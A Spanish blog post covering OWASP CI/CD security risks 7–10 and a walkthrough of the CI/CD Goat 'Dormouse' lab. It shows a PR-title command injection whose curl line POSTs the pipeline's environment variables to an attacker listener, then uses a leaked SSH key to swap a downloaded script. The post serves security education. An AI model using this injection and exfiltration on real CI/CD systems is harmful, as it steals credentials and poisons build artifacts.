Posted in

Vulnerabilidades en entornos CI/CD (Parte 4) OWASP Top 10 + CI/CD Goat Hard (Dormouse)

by Lex••0

En esta serie de entradas, repasaremos el top ten de riesgos para entornos de integración continua y despliegue continuo (CI/CD), elaborado por OWASP. En esta cuarta parte cubriremos los siguientes escenarios:

Asimismo, resolveremos 1 de los 11 ejercicios de CI/CD Goat

  • Hard: Dormouse

Antes de comenzar, te recomendamos ver la entrada anterior para comprender los fundamentos y preparar el entorno vulnerable:

Ahora sí, comencemos:

El contenido teórico de este artículo ha sido tomado en su mayoría de la página de OWASP. Si deseas profundizar en el entendimiento de algún escenario, puedes consultar directamente en los enlaces de referencia.

Insecure System Configuration – CI/CD Sec 7

Como sabemos, un ecosistema CI/CD no está compuesto por un único componente, sino por múltiples sistemas de diferentes proveedores. Para poder asegurar toda la arquitectura, los especialistas de seguridad deben conocer cada uno de estos sistemas y realizar las configuraciones necesarias para asegurar todo el entorno. Cuando existen deficiencias en estas configuraciones, un atacante puede encontrarlas y aprovecharlas para comprometer dicho entorno. Algunos ejemplos de fallas en la configuración pueden ser:

  • Un sistema y/o componente autogestionado que utiliza una versión obsoleta o que carece de parches de seguridad importantes.
  • Un sistema que tiene controles de acceso a la red demasiado permisivos.
  • Un sistema self-hosted que tiene permisos administrativos en el sistema operativo subyacente.
  • Un sistema con configuraciones inseguras. Las configuraciones suelen determinar las características de seguridad clave relacionadas con la autorización, los controles de acceso, el registro, etc. En muchos casos, el conjunto predeterminado de configuraciones no es seguro y requiere optimización.
  • Un sistema con una higiene de credenciales inadecuada (por ejemplo, credenciales predeterminadas que no están deshabilitadas, tokens programáticos demasiado permisivos, etc.).

Referencia: https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-07-Insecure-System-Configuration

Ungoverned Usage of 3rd Party Services

Este riesgo está asociado a la capacidad de los sistemas de CI/CD de conectarse con terceros, los cuales tienen permisos sobre algún componente del entorno, por ejemplo, al SCM o al propio servicio de CI. La ausencia de un gobierno para definir cuando un tercero se puede o no conectar/integrar a un entorno, aumenta la superficie de exposición.

Referencia: https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-08-Ungoverned-Usage-of-3rd-Party-Services

Improper Artifact Integrity Validation

Este riesgo está asociado a una inadecuada validación de la integridad de los artefactos, lo cual permite a un atacante con acceso a uno de los componentes del proceso de CI/CD enviar código o artefactos maliciosos. Si un recurso alterado logró infiltrarse exitosamente en el proceso de CI/CD, sin levantar sospechas ni encontrar alguna puerta de seguridad, lo más probable es que continúe fluyendo a través del proceso hasta llegar a producción, disfrazado de un recurso legítimo.

Para demostrar los riesgos CICD-SEC 8 y CICD-SEC 9 de manera conjunta, realizaremos el ejercicio Dormouse, que es parte de los escenarios de complejidad alta en nuestro entorno vulnerable. Veamos como realizarlo:

  • Accedemos al repositorio de Dormouse en Gitea
  • Ahora revisamos el Jenkinsfile y vemos que como parte del proceso, se utiliza un artefacto llamado Reportcov, el cual es descargado y ejecutado dentro del stage «Unit Tests»
  • Analizamos el repositorio y vemos que Reportcov es mantenido en otro repositorio (oculto):
  • Iremos a Cov/reportcov para escanear el repositorio
  • En el archivo Jenkisfile de Reportcov, encontramos que cuando se realiza un Pull Request, se envía una notificación vía email, en donde el título es obtenido dinámicamente del input ingresado durante la generación de dicho PR. En este punto, sabemos que no es posible hacer cambios directamente sobre el repositorio, así que haremos un fork, y realizaremos cambios ahí
  • En el fork, modificaremos cualquier archivo. En este caso utilizamos el archivo AUTHORS.rst
  • Ahora creamos un PR para fusionar los cambios con la rama main del repositorio Cov/reportcov
  • El PR debe generarse con el título inyectado:
`curl -H "Content-Type: application/json" -X POST -d "$(env)" [IP de tu servicio HTTP]`
  • Cuando se ejecute el pipeline, se generará la trama POST, que contendrá las variables de entorno:
  • Si observamos la trama completa, vemos que como parte de las variables de entorno se encuentra una llave privada SSH la cual guardaremos. Utilizaremos esa llave para poder subir un archivo reportcov.sh modificado vía SCP. Como ya vimos en el repositorio de Dormouse, el archivo reportcov.sh se descarga y se ejecuta, por lo que esto nos ayudará a escribir en la consola el flag
  • Ahora, ejecutamos el pipeline
  • Y finalmente obtenemos el flag

Para capturar la trama completa, si estás utilizando Apache, se necesita habilitar el módulo dump_io. En caso no hayas podido capturar la trama completa puedes realizar lo siguiente: 

sudo a2enmod dump_io
nano /etc/apache2/sites-enabled/000-default.conf
#Editar las siguientes líneas

       ErrorLog ${APACHE_LOG_DIR}/error.log
       CustomLog ${APACHE_LOG_DIR}/access.log combined

       DumpIOInput On
       DumpIOOutput On

       LogLevel dumpio:trace7

service apache2 restart

Insufficient Logging and Visibility

Este riesgo esta asociado a una insuficiente capacidad para disponer de un registro que permita detectar un ataque dentro del entorno CI/CD, incluyendo también la identificación de las TTP (técnicas, tácticas y procedimientos) del atacante como parte de cualquier investigación posterior al incidente.

La existencia de sólidas capacidades de registro y visibilidad es esencial para que una organización pueda prepararse, detectar e investigar un incidente relacionado con la seguridad. Dada la naturaleza sofisticada de los vectores de ataque de CI/CD, existe un nivel igual de importancia para los registros de auditoría de los sistemas (por ejemplo, acceso de usuarios, creación de usuarios, modificación de permisos) y los registros de aplicaciones (por ejemplo, envío de eventos a un repositorio, ejecución de compilaciones, carga de artefactos).

Referencia: https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-10-Insufficient-Logging-And-Visibility

Con esto, hemos completado esta serie de entradas sobre el OWASP Top Ten para entornos CI/CD. Esperamos que te haya sido de utilidad.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *